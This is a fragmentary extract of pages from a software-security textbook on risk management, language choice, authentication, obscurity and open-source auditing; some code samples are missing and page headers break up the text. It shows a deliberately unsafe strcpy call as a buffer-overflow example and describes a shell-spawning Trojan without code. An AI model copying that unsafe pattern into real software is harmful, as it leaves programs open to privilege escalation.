most secure computer in the world is one that has its disk wiped, is turned
off, and is buried in a 10-foot hole filled with concrete. Of course, a machine
that secure also turns out to be useless. In the end, the security question
boils down to how much risk a given enterprise is willing to take to solve
the problem at hand effectively.
An effective risk-based approach requires an expert knowledge of
security. The risk manager needs to be able to identify situations in which
36 Chapter 2 Managing Software Security Risk
2. Even in the twenty-first century, Windows 9X is a technology that is better left in the 90s,
from a security point of view. We’re much more fond of the NT/2000 line.
38 Chapter 2 Managing Software Security Risk
Good analysis skills are a critical prerequisite for good design. We recom-
mend that security engineers focus on identifying
Implementation
Clearly, we believe that good software engineering practice is crucial to
building secure software. We also think the most important time to practice
good software engineering technique is at design time, but we can’t overlook
the impact of the implementation.
The second part of this book is dedicated to securing the implemen-
tation. Most of the initial work is in the hands of the people writing code.
Certainly, the security engineer can participate in coding if he or she is
skilled. Even if not a world-class programmer, a good security engineer can
understand code well enough to be able to read it, and can understand
security problems in code well enough to be able to communicate them to
other developers. The security engineer should be capable of serving as an
effective resource to the general development staff, and should spend some
time keeping current with the security community.
The other place a security engineer can be effective during the imple-
mentation phase of development is the code audit. When it’s time for a code
review, the security engineer should be sure to look for possible security bugs
(again, outside auditing should also be used, if possible). And, whenever it
is appropriate, the security engineer should document anything about the
system that is security relevant. We discuss code auditing in much more detail
in Chapter 6. Note that we’re asking quite a lot from our security engineer
here. In some cases, more than one person may be required to address the
range of decisions related to architecture through implementation. Finding a
software security practitioner who is equally good at all levels is hard.
Security Testing
Another job that can fall to a security engineer is security testing, which
is possible with a ranked set of potential risks in hand, although it remains
difficult. Testing requires a live system and is an empirical activity, requiring
close observation of the system under test. Security tests usually will not
result in clear-cut results like obvious system penetrations, although some-
A Dose of Reality 39
times they may. More often a system will behave in a strange or curious
fashion that tips off an analyst that something interesting is afoot. These
sorts of hunches can be further explored via manual inspection of the code.
For example, if an analyst can get a program to crash by feeding it really
long inputs, there is likely a buffer overflow that could potentially be lever-
aged into a security breach. The next step is to find out where and why the
program crashed by looking at the source code.
Functional testing involves dynamically probing a system to determine
whether the system does what it is supposed to do under normal circum-
stances. Security testing, when done well, is different. Security testing involves
probing a system in ways that an attacker might probe it, looking for weak-
nesses in the software that can be exploited.
Security testing is most effective when it is directed by system risks that
are unearthed during an architectural-level risk analysis. This implies that
security testing is a fundamentally creative form of testing that is only as
strong as the risk analysis it is based on. Security testing is by its nature
bounded by identified risks (as well as the security expertise of the tester).
Code coverage has been shown to be a good metric for understanding
how good a particular set of tests is at uncovering faults. It is always a good
idea to use code coverage as a metric for measuring the effectiveness of func-
tional testing. In terms of security testing, code coverage plays an even more
critical role. Simply put, if there are areas of a program that have never been
exercised during testing (either functional or security), these areas should
be immediately suspect in terms of security. One obvious risk is that unexer-
cised code will include Trojan horse functionality, whereby seemingly
innocuous code carries out an attack. Less obvious (but more pervasive) is
the risk that unexercised code has serious bugs that can be leveraged into a
successful attack.
A Dose of Reality
For the organizational solution we propose to work, you need to make sure
the security lead knows his or her place. The security lead needs to recognize
that security trades off against other requirements.
The goal of a security lead is to bring problems to the attention of a
team, and to participate in the decision-making process. However, this per-
son should avoid trying to scare people into doing the “secure” thing without
regard to the other needs of the project. Sometimes the “best” security is
too slow or too unwieldy to be workable for a real-world system, and the
security lead should be aware of this fact. The security lead should want to
40 Chapter 2 Managing Software Security Risk
do what’s in the best interest of the entire project. Generally, a good security
lead looks for the tradeoffs, points them out, and suggests an approach that
appears to be best for the project. On top of that, a good security lead is as
unobtrusive as possible. Too many security people end up being annoying
because they spend too much time talking about security. Observing is an
important skill for such a position.
Suffice it to say, we have no qualms with people who make decisions
based on the bottom line, even when they trade off security. It’s the right
thing to do, and good security people recognize this fact. Consider credit
card companies, the masters of risk management. Even though they could
provide you with much better security for your credit cards, it is not in their
financial interests (or yours, as a consumer of their product) to do so. They
protect you from loss, and eat an astounding amount in fraud each year,
because the cost of the fraud is far less than the cost to deploy a more secure
solution. In short, why should they do better with security when no one ulti-
mately gets hurt, especially when they would inconvenience you and make
themselves less money to boot?
Red Teaming
The idea behind red teaming is to simulate what hackers do to your program
in the wild. The idea is to pay for a group of skilled people to try to break
into your systems without giving them any information a probable attacker
wouldn’t have. If they don’t find any problems, success is declared. If they
do find problems, they tell you what they did. You fix the problems, and
success is declared.
This idea can certainly turn up real problems, but we find it misguided
overall. If a red team finds no problems, does that mean there are no prob-
The Common Criteria 43
lems? Of course not. Experience shows that it often takes a lot of time and
diverse experience to uncover security holes. Red teams sometimes have
diverse experience, but the time spent is usually not all that significant. Also,
there is little incentive for red teams to look for more than a couple of prob-
lems. Red teams tend to look for problems that are as obvious as possible.
A real attacker may be motivated by things you don’t understand. He or
she may be willing to spend amazing amounts of effort to pick apart your
system. Red teams generally only have time to scratch the surface, because
they start with such little information. Whether a skilled red team actually
finds something is largely based on luck. You get far more bang for your
buck by opening up the details of your system to these kinds of people,
instead of forcing them to work with no information.
3. At least this is the case in the United States. Similar bodies are used elsewhere.
46 Chapter 2 Managing Software Security Risk
Conclusion
This chapter explains why all is not lost when it comes to software security.
But it also shows why there is no magic bullet. There is no substitute for
working software security as deeply into the software development process
Conclusion 47
Choosing a Language
The single most important technology choice most software projects face is
which programming language (or set of languages) to use for implementation.
49
50 Chapter 3 Selecting Technologies
There are a large number of factors that impact this choice. For example,
efficiency is often a requirement, leading many projects to choose C or C++ as
an implementation language. Other times, representational power takes prece-
dence, leading to use of languages like LISP, ML, or Scheme.
It is decidedly common to place a large amount of weight on efficiency,
using that as a sole justification for language choice. People who do this
usually end up choosing C or C++. The choice of C often takes place with
little or no consideration as to whether a project could be implemented in
another language and still meet its efficiency requirements. The “choose-C-
for-efficiency” problem may be an indicator that software risk management
is not being properly carried out.
Even worse than the choose-C-for-efficiency problem is the choice of
a language based largely on familiarity and comfort. Making such choices
by gut feel indicates an immature software risk management process. Not
enough people stop to consider the relative tradeoffs and benefits of using
other languages. For example, developers with only C++ experience can
likely transition to Java with only a moderate hit for ramping up on a new
language. In this particular case, the ultimate efficiency of the product is not
likely to be as good, because most estimates we have seen indicate that Java
programs run at approximately half the speed of an equivalent C program,
which is often fast enough (consider that languages like Python and Perl are
much slower). However, Java ameliorates many (but certainly by no means
all) security risks that are present in C, and also has portability advantages
(although we’ve seen plenty of examples in practice where Java isn’t nearly
as portable as claimed). Beyond that, Java’s lack of pointers and its inclusion
of garbage collection facilities are likely to reduce costs in the long run by
leading to a more efficient testing regimen. So there are benefits and draw-
backs—a classic tradeoff situation.
One of the biggest mistakes companies make in choosing a language
is the failure to consider the impact on software security. Certainly, security
should be properly weighed against many other concerns. However, many
people either choose to ignore it completely or seem to assume that all lan-
guages are created equal when it comes to security. Unfortunately, this is
not the case.
As an example, consider that software reliability can have a significant
impact on security when it comes to denial-of-service attacks. If a network
service is prone to crashing, then it is likely that attackers will be able to
launch attacks easily on the availability of the program in question. If the
network service in question is written in C, it probably involves taking on
Choosing a Language 51
too big a risk in the reliability and security area, because C programs tend to
be unreliable (mostly because of unrestricted pointers and a lack of reasonable
error-handling facilities). A number of interesting research projects have
tested the reliability of C programs by sending random inputs to those pro-
grams. One of the best is the FUZZ program [Miller, 1990]. Experience
with this tool reported in the research literature shows that a surprisingly
large number of low-level programs have demonstrated abysmal reliability
rates when tested in this strikingly simple manner. One problem is that few
programs bother to allow arbitrarily long inputs. Those that don’t often fail
to check the length of inputs. And even those that do rarely check for
garbage input.
There are languages other than C that can expose you to denial-of-
service problems. For example, in languages with exception handling (like
Java), programmers usually fail to catch every possible exceptional condi-
tion. When an exception propagates to the top of the program, the program
usually halts or otherwise fails. Java does a fairly reasonable job of forcing
programmers to catch errors that may possibly be thrown, and therefore is
a good language from this perspective. However, some common types of
exceptions such as NullPointerExceptions do not need to be caught (if that
were necessary, Java programs would be much harder to write). Also, pro-
grammers often leave empty error handlers, or otherwise fail to recover
properly from an error. Interpreted languages are particularly subject to
such problems. Programs in these languages may even contain syntax errors
in code not yet tested by the developers. Such errors lead to the program
terminating at runtime when the untested code is run for the first time.
The more error checking a language can do statically, the more reliable
the programs written in that language. For that reason, Java is a superior
choice to C and C++ when it comes to reliability. Java has a distinct advan-
tage because it has a much stronger static type system. Similarly, Java offers
advantages over dynamic languages in which type errors and other mistakes
only become apparent during runtime.
Reliability-related denial of service isn’t the only security concern that
manifests itself in programming languages. C and C++ are notorious for
buffer overflow attacks—a problem that exists in no other mainstream lan-
guage (well, FORTRAN is still mainstream in some application domains).
Buffer overflow attacks occur when too much data are written into a buffer,
overwriting adjacent memory that may be security critical (buffer overflows
are discussed in Chapter 7). Writing outside the bounds of a buffer in most
other languages results in an exceptional condition. Another broad category
52 Chapter 3 Selecting Technologies
of problems that manifests itself in some languages but not all involves input
checking mistakes. For example, in some situations, some languages directly
invoke a UNIX command shell to run commands (think CGI [Common
Gateway Interface]). Malicious inputs might thus be able to trick a program
into sending a malicious command to the shell. We discuss such problems in
Chapter 12.
On the positive side, some languages provide security features that may
be useful to your project. The most well-known example to date is the Java
programming language, which offers several advanced security features.
Unfortunately, most of the impressive Java security features were positioned
solely as ways to handle untrusted mobile code (even though they are really
much more versatile). We’ve found that most of the applications using Java
today do not make use of these features, except perhaps “under the hood”
in a distributed computing environment. Today, the application program-
ming interface (API)-level coder can remain oblivious to these constructs.
However, as technology continues to evolve and distributed systems become
more commonplace, this will likely change.
The security features of a Java program are for the most part managed
by an entity called the security manager. The goal of a security manager is to
enforce a security policy, usually by moderating access to resources such as
the file system. This approach has come to be called sandboxing. By default,
a null security manager is used in most programs. Usually, an application
can install a security manager with arbitrary policies. However, some default
security managers come built in with Java, and are automatically used in
certain circumstances. The most notable case is when a Java Virtual Machine
(JVM) is running an untrusted applet in a Web browser. As a result of enforce-
ment of security policy, such an applet is severely limited in the capabilities
afforded to it. For example, applets cannot normally make arbitrary network
connections or see much of the local file system. For more on mobile code
security in Java, see Securing Java [McGraw, 1999].
Perl is another major language with a significant security feature. Perl
may be run in “taint mode,” which dynamically monitors variables to see if
untrusted user input leads to a security violation. Although this system doesn’t
catch every possible bug, it still works quite well in practice. We discuss taint
mode in Chapter 12.
Although high-level languages generally offer protection against common
classes of problems—most notably buffer overflows—they can introduce
new risks. For example, most object-oriented languages offer “information-
hiding” mechanisms to control access to various data members. Programmers
Choosing a Language 53
often assume that these mechanisms can be leveraged for use in security.
Unfortunately, this is usually a bad idea. Protection specifiers are generally
checked only at compile time. Anyone who can compile and link in code can
usually circumvent such mechanisms with ease.
One exception to this technique for enforcing protection is when run-
ning Java applets. Usually, protection modifiers get checked at runtime. How-
ever, there are still problems with the mechanism. For example, when an
inner (nested) class uses a private variable from an outer class, that variable
is effectively changed to protected access.1 This problem is largely the result
of the fact that inner classes were added to Java without supporting the
notion of an inner class in the JVM. Java compilers largely perform “hacks”
that affect access specifiers to circumvent the lack of JVM support. A better
solution to this problem is known, but has yet to be integrated into a widely
distributed version of Java [Bhowmik, 1999]. Nonetheless, developers should
try not to count on information-hiding mechanisms to provide security.
There are other protections high-level languages may not afford. For
example, local attackers may sometimes be able to get valuable information
by reading sensitive data out of memory. Programmers should make sure
valuable data are never swapped to disk, and should erase such data as
quickly as possible. In C, these things aren’t that difficult to do. The call
mlock() can prevent a section of memory from swapping. Similarly, sensi-
tive memory can be directly overwritten. Most high-level programming
languages have no calls that prevent particular data objects from swapping.
Also, many high-level data structures are immutable, meaning that program-
mers cannot explicitly copy over the memory. The best a programmer can
do is to make sure the memory is no longer used, and hope the programming
language reallocates the memory, causing it to be written over. The string
type in most languages (including Java, Perl, and Python) is immutable.
Additionally, advanced memory managers may copy data into new memory
locations, leaving the old location visible even if you do erase the variable.
We can imagine some people reading this section and thinking we have a
bias toward Java, especially considering that one of the authors (McGraw)
wrote a book on Java security. When we program, we do our best to select
1. The behavior may vary between compilers, and is usually a bit more complex. Instead of
actually changing access specifiers, accessor methods are added to the class to give direct
access to the variable. If the inner class only reads a variable from the inner class, then only a
read method is added. Any added methods can be called from any code within the same
package.
54 Chapter 3 Selecting Technologies
what we see as the best tool for the job. If you look at development projects in
which we’re involved, we don’t use Java much at all. We’ve done our share of it,
certainly, but we are actually quite prone to use C, C++, or Python on projects.
CORBA
CORBA implementations may come with a security service based on the
specifications of the Object Management Group’s (OMG) standards. These
standards define two levels of service in this context: Level 1 is intended for
applications that may need to be secure, but where the code itself need not
be aware of security issues. In such a case, all security operations should be
handled by the underlying object request broker (ORB). Level 2 supports
other advanced security features, and the application is likely to be aware
of these.
Most of CORBA’s security features are built into the underlying network
protocol: the Internet Inter-Orb Protocol (IIOP). The most significant feature
Choosing a Distributed Object Platform 55
DCOM
DCOM is Microsoft’s Distributed Component Object Model technology, a
competitor to CORBA that works exclusively with Microsoft platforms. In
contrast to COM’s Windows-centric slant, CORBA is a product of the
UNIX-centric world.2
From the point of view of security, the DCOM specification provides
similar functionality to CORBA even though it looks completely different.
Authentication, data integrity, and secrecy are all wrapped up in a single
property called the authentication level. Authentication levels only apply to
server objects, and each object can have its own level set. Higher levels
provide additional security, but at a greater cost.
Usually, a DCOM user chooses the authentication level on a per-
application basis. The user may also set a default authentication level for a
server, which is applied to all applications on the machine for which specific
authentication levels are not specified.
2. Of course, there are many CORBA implementations for the Windows world, and no
DCOM implementations for the UNIX world and other operating systems (like OS/390,
RTOS, and so on). This is a classic condition.
Choosing a Distributed Object Platform 57
These levels tend to build off each other. As a result, higher levels can
inherit many of the weaknesses of lower levels. For example, level 7 authen-
tication turns out to be hardly better than level 2 on most machines because
the LAN Manager-based authentication is so poor and level 7 doesn’t use
anything more powerful!
Just as CORBA provides delegation, DCOM provides facilities for
limiting the ability of server objects to act on behalf of the client. In
DCOM, this is called impersonation. There are multiple levels of imper-
sonation. The default is the identity level, in which a remote machine can
get identity information about the client, but cannot act in place of the
client. The impersonate level allows the server to act in place of the client
when accessing objects on the server. It does not allow the remote server to
mimic the client to third parties, nor does it allow the server to give third
parties authority to act on behalf of the client. The DCOM specification
defines two other impersonation levels. One is the anonymous level, which
forbids the server from getting authentication information about the client;
the other is the delegate level, which allows the server to give third parties
authority to act on your behalf, with no restrictions. As of this writing,
neither of these levels is available to the DCOM developer.
Authentication Technologies
Authentication problems are probably the most pervasive class of security
problems if we ignore software bugs. Meaning, choosing a reasonable
authentication technology is important. Part of the reason is that even a
well-designed password-based system is usually easy to break because users
almost always pick bad passwords. We talk about the challenges of design-
ing a reasonable password-based system in Chapter 13. However, a password-
based authentication approach is unfortunately not the only kind of
authentication that is frequently weak. There are many diverse types of
authentication mechanism, and each is difficult to get right.
Host-Based Authentication
A common way to authenticate network connections is to use the Internet
Protocol (IP) address attached to the connection. This technique is popular
with firewall products, for example. Sometimes, people will instead authen-
ticate against a set of DNS (Domain Name Service) names, and thus will
62 Chapter 3 Selecting Technologies
Physical Tokens
One common technique for authentication is to use physical tokens, such as
a key, a credit card, or a smart card. Without the physical token, the argument
goes, authentication should not be possible. This sort of authentication is
widespread, but has a number of associated problems.
In the context of computer systems, one problem with physical tokens is
that some sort of input device is necessary for every client to the system. If
you have an application for which you want any person on the Internet with
his or her own computer to be able to use your system, this requirement is
problematic. Most people don’t own a smart card reader. (Even most owners
of American Express Blue cards haven’t figured out how to install the ones
they were sent for free.) In the case of credit cards, letting the user type in
the credit card number nominally solves the problem. However, this solution
64 Chapter 3 Selecting Technologies
suffers in that it doesn’t really guarantee that the person typing in the credit
card number is actually in possession of the card. The same risk that applies
in the physical world with regard to use of credit cards over the phone applies
to systems relying on credit card numbers for authentication on the Internet.
Another problem with physical tokens is that they can be lost or stolen.
In both cases, this can be a major inconvenience to the valid user. Moreover,
many physical tokens can be duplicated easily. Credit cards and keys are
good examples of things that are easily cloned. The equipment necessary
to clone a magnetic stripe card is cheap and readily available. Hardware
tamperproofing is possible and tends to work quite well for preventing
duplication (although it is not infallible), but on the downside it is also
quite expensive to place into practice.
Sometimes an attacker doesn’t need to steal the physical token to
duplicate it. A skilled locksmith can duplicate many types of keys just by
looking at the original. Molding the lock is another option. Credit card
information can be written down when you give your card to a waiter in a
restaurant or a clerk at the video store.
Even if you’re careful with your card, and only use it in automatic teller
machines (ATMs), there’s still the possibility of attack. Some hilarious but
true cases exist in which attackers went to the trouble of setting up a fake
ATM machine in a public place. The ATM is programmed to appear to be
broken once people put their card in the machine. However, the machine
really does its nefarious job, copying all the relevant information needed to
duplicate cards that get inserted. Other attackers have added hardware to
valid ATMs to apply the same attacks with real success.
Biometric Authentication
Biometric authentication is measuring physical or behavioral characteristics
of a human and using these characteristics as a metric for authentication.
There are a number of different types of biometric authentication that are
used in real-world systems. Physical characteristics that can be measured
include fingerprints, features of the eye, and facial features.
Examples of behavioral biometrics include handwritten signatures and
voiceprints. In the real world, we validate signatures by sight, even though a
skilled attacker can reliably forge a signature that most people cannot dis-
tinguish from the original. If a biometric system were to capture the entire
act of signing (pen speed, pressure, and so on) in some digital format, then it
would be far more difficult to forge a real signature. High-quality forgeries
usually take a fair bit of time.
Authentication Technologies 65
fingers. What happens when an attacker steals all ten fingerprints? In a pass-
word system, if your password gets compromised, you can just change it.
You’re not likely to be able to change your fingerprints quite as readily.
Another issue to consider is that a significant number of people believe
that the collection of biometric information is an invasion of privacy. DNA
may be the ultimate authentication mechanism for a human (at least one
without an identical twin), but DNA encodes enough information for an
insurance company to deny issuing insurance to you on the grounds of a
disease you have not yet contracted, because your genetics show you to be
susceptible to the disease.
Cryptographic Authentication
Cryptographic authentication uses mathematics and a digital secret to
authenticate users. This type of authentication can be seen as a digital
analog to having a physical token. Although physical access to an input
device is no longer a problem, the same sorts of issues we raised earlier
apply. Most important, cryptographic authentication information can be
stolen. Unfortunately, it’s often quite easy to steal digital data. Because it is
so important to software security, we discuss cryptographic authentication
in Chapter 11.
who break into your machine. The key can be encrypted, using a password
(hopefully not weak) as the encryption key. Every time cryptographic authen-
tication is to be used, a password must be given to decode the key. That way,
even if someone steals the bits, they would still need the password.
This solution still poses a problem when using cryptographic keys in a
server environment (host-to-host authentication instead of user-to-host
authentication). This is because servers need to be able to use keys in an
automated fashion, without user intervention. One option is not to encrypt
the key. If the key is encrypted, you can save the password somewhere on
the disk, and read it in when necessary. However, you’re just moving the
problem to another part of the disk if you do that. A third option is to
require manual intervention once, at program start-up, then keep the
decrypted key only in memory, not on the disk (based on the theory that
it’s usually a lot more difficult for an attacker to snag if it exists only in
memory). This solution means that a server machine cannot reboot
unattended. Someone needs to be around to feed passwords to any
software needing encryption keys.
Conclusion
In this chapter we emphasized the importance of comparing and contrast-
ing technologies and coming up with those that best meet system security
requirements. We did this by frankly discussing some of the risks, pitfalls, and
design techniques that surround common technology decisions. The key to
using this material well is to remain cognizant of security when security-critical
technology choices are being made. Using the best available cryptography on
the weakest platform on the planet won’t buy you much security! We discussed
a number of the most common choices that technologists and security practi-
tioners must make, and how they impact security.
This page intentionally left blank
On Open Source
and Closed Source
4
69
70 Chapter 4 On Open Source and Closed Source
can eventually find out exactly what it is doing, especially if your code is
compiled to Java byte code, which is particularly easy to reverse engineer.
The flip side of the security-by-obscurity coin involves releasing source
code and counting on the open-source community to help you make things
more secure. Unfortunately, open source is less of a security panacea than
many people may think. The second part of this chapter is devoted to a
discussion of open source and security.
Security by Obscurity
Hackers don’t always need to be able to look at any code (binary or source)
to find security vulnerabilities. Often, controlled observation of program
behavior suffices. In the worst cases, symptoms of a security problem are
noticed during the course of normal use.
As an example, consider a problem discovered in Netscape Communica-
tor’s security near the end of 1999. This particular problem affected users of
Netscape mail who chose to save their POP (Post Office Protocol) mail pass-
word using the mail client. In this case, a “feature” placed in Netscape for
the convenience of users turned out to introduce a large security problem.
Obviously, saving a user’s mail password means storing it somewhere
permanent. The question is, where and how is the information stored? This
is the sort of question that potential attackers pose all the time.
Clearly, Netscape’s programmers needed to take care that casual users
(including attackers) could not read the password directly off the disk, while
at the same time providing access to the password for the program that must
use it in the POP protocol. In an attempt to solve this problem, Netscape’s
makers attempted to encrypt the password before storing it, making it
unreadable (in theory anyway). The programmers chose a “password
encryption algorithm” that they believed was good enough, considering
that the source code wasn’t to be made available. (Of course, most of the
source was eventually made available in the form of Mozilla, but the
password-storing code we’re focusing on here did not show up in the
release.) Unfortunately, the algorithm that made its way into Netscape
Communicator was seriously flawed.
As it turns out, on Windows machines the “encrypted” password is
stored in the registry. A relevant software security tip for Windows pro-
grammers is always to assume that people on machines you don’t control
can read any entries you put in the registry! If you choose to store some-
thing there, make sure it is protected with strong cryptography.
Security by Obscurity 71
1. Note that an attacker may still be able to get at a password easily after it is decrypted.
If the POP traffic is unencrypted, as is usually the case (although security-conscious people
use POP over SSL), then the job of the attacker is quite easy, despite any attempt to hide
the password.
Security by Obscurity 73
(Internet Information Server) Web server using the same technique. The
take-home message here is always to be security conscious when writing
code, even if you are not going to show the code to anyone. Attackers can
often infer what your code does by examining its behavior.
Reverse Engineering
Many people assume that code compiled into binary form is sufficiently
well protected against attackers and competitors. This is untrue. Although
potential bad guys may not have access to your original source code, they
do in fact have all they need to carry out a sophisticated analysis.
Some hackers can read machine code, but even that is not a necessary
skill. It is very easy to acquire and use reverse-engineering tools that can
turn standard machine code into something much easier to digest, such as
assembly or, in many cases, C source code.
Disassemblers are a mature technology. Most debugging environments,
in fact, come with excellent disassemblers. A disassembler takes some machine
code and translates it into the equivalent assembly. It is true that assembly
loses much of the high-level information that makes C code easy to read.
For example, looping constructs in C are usually converted to counters and
jump statements, which are nowhere near as easy to understand as the origi-
nal code. Still, a few good hackers can read and comprehend assembly as
easily as most C programmers can read and comprehend C code. For most
people, understanding assembly is a much slower process than understand-
ing C, but all it takes is time. All the information regarding what your pro-
gram does is there for the potential attacker to see. This means that enough
effort can reveal any secret you try to hide in your code.
Decompilers make an attacker’s life even easier than disassemblers
because they are designed to turn machine code directly into code in some
high-level language such as C or Java. Decompilers are not as mature a tech-
nology as disassemblers though. They often work, but sometimes they are
unable to convert constructs into high-level code, especially if the machine
code was handwritten in assembly, and not some high-level language.
Machine code that is targeted to high-level machines is more likely to
be understood fairly easily after it comes out the end of a reverse-engineering
tool. For example, programs that run on the JVM can often be brought back
to something very much similar to the original source code with a reverse-
engineering tool, because little information gets thrown away in the process
of compiling a Java program from source. On the other hand, C programs
produced by decompilers do not often look the same as the originals because
74 Chapter 4 On Open Source and Closed Source
Code Obfuscation
Often it may well be impossible to keep from putting a secret somewhere in
your code. For example, consider the case of the Netscape POP password.
Even if Netscape had used a “real” encryption algorithm such as DES, a
secret key would still have been required to carry out the encryption and
decryption. Such a key needs to remain completely secret, otherwise the
security of the password can easily be compromised. Moving the key to
some file on a disk is not sufficient, because the code still keeps a secret: the
location of the key, instead of the key itself.
In these cases, there is no absolute way to protect your secrets from
people who have access to the binaries. Keep this in mind when you are
writing client software: Attackers can read your client and modify it however
they want! If you are able to use a client/server architecture, try to unload
secrets onto the server, where they have a better chance of being kept.
Sometimes this is not a feasible technique. Netscape is not willing to
save POP passwords on some central server (and people would probably get
very upset if they decided to do so, because that sort of move could easily be
interpreted as an invasion of privacy). Not to mention that in this particular
case it would just move the problem: How do you prove your identity to get
the password off the POP server? Why, by using another password!
In these cases, the best a programmer can do is to try to raise the bar as
high as possible. The general idea, called code obfuscation, is to transform
the code in such a way that it becomes more difficult for the attacker to read
and understand. Sometimes obfuscation will break reverse-engineering tools
(usually decompilers, but rarely disassemblers).
One common form of obfuscation is to rename all the variables in your
code to arbitrary names.2 This obfuscation is not very effective though. It
turns out not to raise the anti-attacker bar very high. Code obfuscation is a
relatively uncharted area. Not much work has been done in identifying
2. This is most commonly done in languages like Java, in which symbol stripping isn’t
possible, or in files that are dynamically linked and need to keep symbols.
The Flip Side: Open-Source Software 75
from the source code in question. In reality, open sourcing your software
can sometimes help, but is no cure-all. And you should definitely not rely on
it as your sole means of ensuring security. In fact, open sourcing software
comes with a number of security downsides.
technologists wouldn’t know there was a problem if they were staring right at
it. This goes for open-source and non–open-source developers alike.
As a mundane example of the problem, let’s look at something that
requires far less specialized knowledge than software security. Here’s some
code from Andrew Koenig’s book C Traps and Pitfalls [Koenig 1988]:
This code won’t work in the way the programmer intended; the loop will
never exit. The code should read c == ' ' not c = ' '. However, none of
the many code-savvy reviewers who read his book noticed the problem—
people who were supposed to be looking for technical deficiencies in the
book. Koenig says that thousands of people saw the error before the first
person noticed it. This kind of problem seems obvious once pointed out,
but it is very easy to gloss over.
When one author (Viega) examined an open-source payment system
used by nearly every Dutch bank, he saw them build a nice input abstraction
that allowed them to encrypt network data and to avoid buffer overflows, in
theory. In practice, the generic input function was called improperly once,
allowing an attacker not only to “overflow” the buffer, but also to bypass
all the cryptography. We hope that at least one of the banks had thought to
audit the software (banks are usually the paranoid type). Although this error
was subtle, it wasn’t too complex at the surface. However, determining
whether the problem in calling a function was actually an exploitable buffer
overflow took almost a full day, because the buffer had to be traced through
a cryptographic algorithm. For a while, it looked as if, although you could
send a buffer that was too large and crash the program, you couldn’t run
code because it would get “decrypted” with an unknown key, mangling it
beyond use. Careful inspection eventually proved otherwise, but it required
a lot of effort.
The end result is that even if you get many eyeballs looking at your
software (How many software projects will get the large number of develop-
ers that the Linux project has?), they’re not likely to help much, despite the
conventional wisdom that says otherwise. Few developers have the know-
how or the incentive to perform reasonable security auditing on your code.
The only people who have that incentive are those who care a lot about
security and need your product audited for their own use, those who get
paid lots of money to audit software for a living, and those who want to
find bugs for personal reasons such as fame and glory.
Is the “Many-Eyeballs Phenomenon” Real? 79
often lead to buffer overflow problems (see Chapter 7). However, most of
these functions can be used in a safe way. For example, strcpy is one of the
most notorious of all dangerous library functions. The following code is a
dangerous use of strcpy:
strcpy(program_name, argv[0]);
}
If the name of the program is more than 255 characters (not counting the
terminating null character), the buffer program_name overflows. On most
architectures, the overflow can be manipulated to give a malicious user a
command prompt with the privileges of the program. Therefore, if your
program has administrator privileges (in other words, it is setuid root on a
UNIX system, or is run by a root user with attacker-supplied inputs), a bug
of this nature could be leveraged to give an attacker administrative access to
your machine.
A simple modification renders the previous code example harmless:
This call to strncpy copies from argv[0] into program_name, just like
a regular strcpy. However, it never copies more than 256 characters. Of
course, this code has other problems because it leaves the string unterminated!
In both of these examples, it is quite easy to determine whether a
problem exists. But in more complex code, doing so is often far more
difficult. If we see strcpy somewhere in the source code, and the length
of the string is checked immediately before use, then we can be pretty sure
that there will not be a problem if the check is written correctly. But what
if there is no such immediately obvious check? Perhaps the programmer
omitted the check, or perhaps it exists elsewhere in the program. For a
complex program such as wu-ftpd, following the program logic backward
through all possible paths that reach a given location can be difficult. Often,
such a call looks okay, but turns out to be exploitable because of subtle
interactions between widely separated sections of code.
Is the “Many-Eyeballs Phenomenon” Real? 81
If, by some error, n is larger than the size of dst when this code executes, a
buffer overflow condition is still possible.
All this serves to show why finding security bugs in source code is not
always as straightforward as some people may believe. Nevertheless, simple
code scanning tools (see Chapter 6) are certainly useful, and are amenable
to use by the open-source movement.
Other Worries
Of course, code scanning tools can be used by bad guys too. This points out
other problems with relying on the outside world to debug security-critical
code. One worry is that a hacker may find the vulnerability and keep the
information private, using it only for unsavory purposes. Thankfully, many
people in the hacker community have good intentions. They enjoy breaking
things, but they do so to increase everyone’s awareness of security concerns.
Such hackers are likely to contact you when they break your program. When
they do, be sure to fix the problem and distribute a repair as soon as pos-
sible, because hackers tend to believe in full disclosure.
Full disclosure means that hackers publicly disseminate information
about your security problem, usually including a program that can be used
to exploit it (sometimes even remotely). The rationale behind full disclosure
should be very familiar. Full disclosure encourages people to make sure their
software is more secure, and it also helps keep the user community educated.
Whether you choose to release your source code, you should not get upset
when a hacker contacts you, because he or she is only trying to help you
improve your product.
You do, of course, need to worry about malicious hackers who find
bugs and don’t tell you about them, or malicious hackers who attempt
to blackmail you when they find an error. Although most hackers have
ethics, and would not do such things, there are plenty of exceptions to
the rule.
82 Chapter 4 On Open Source and Closed Source
use (say, the Red Hat people), this generally doesn’t happen. We think this
is because it’s too easy to believe other people have already addressed the
problem. Why reinvent the wheel? Why do somebody else’s job? Although
there are groups, including the OpenBSD developers, who try to be as
thorough as possible on as much software as possible, you should definitely
wonder whether the bulk of the experts auditing your code wear black hats
or white ones.
Even if you do get the right kind of people doing the right kinds of things,
you may end up having security problems that you never hear about. Security
problems are often incredibly subtle, and may span large parts of a source
tree. It is not uncommon for two or three features to be spread throughout
the program, none of which constitutes a security problem when examined
in isolation, but when taken together can create a security breach. As a result,
doing security reviews of source code tends to be complex and tedious to the
point of boredom. To do a code review, you are forced to look at a lot of
code, and understand it all well. Many experts don’t like to do these kinds
of reviews, and a bored expert is likely to miss things as well.
By the way, people often don’t care about fixing problems, even when
they know they’re there. Even when our problems in Mailman were identified,
it took a while to fix them, because security was not the most immediate con-
cern of the core development team.
Marcus Ranum reports similar data to our Mailman example from his
association with the widely used firewall tool kit (www.fwtk.org). Interest-
ingly, this famous piece of open-source code was created for and widely
used by security people (who contributed to the project). This is more clear
evidence that the many-eyeballs phenomenon is not as effective as people
think.
out of place, and obviously put there only for malicious purposes. By analogy,
we think the TCP wrappers Trojan horse is like what you would have if the
original Trojan horse had come with a sign hanging around its wooden neck
that said, Pay no attention to the army hidden in my belly!
The Trojan horse tested to see whether the client connection was coming
from the remote port 421. If it was, then TCP wrappers would spawn a
shell. The source code for spawning a shell is one line. It’s really obvious
what’s going on, considering that TCP wrappers would never need to
launch a shell, especially one that is interactive for the remote connection.
Well-crafted Trojan horses are quite different. They look like ordinary
bugs with security implications, and are very subtle. Take, for example,
wu-ftpd. Who is to say that one of the numerous buffer overflows found in
1999 was not a Trojan horse introduced years ago when the distribution site
was hacked? Steve Bellovin once mentioned a pair of subtle bugs (found in a
system that had not yet been shipped) that individually was not an issue, but
added together and combined with a particular (common) system configura-
tion option formed a complex security hole. Both bugs were introduced by
the same programmer. What made this particularly interesting was that the
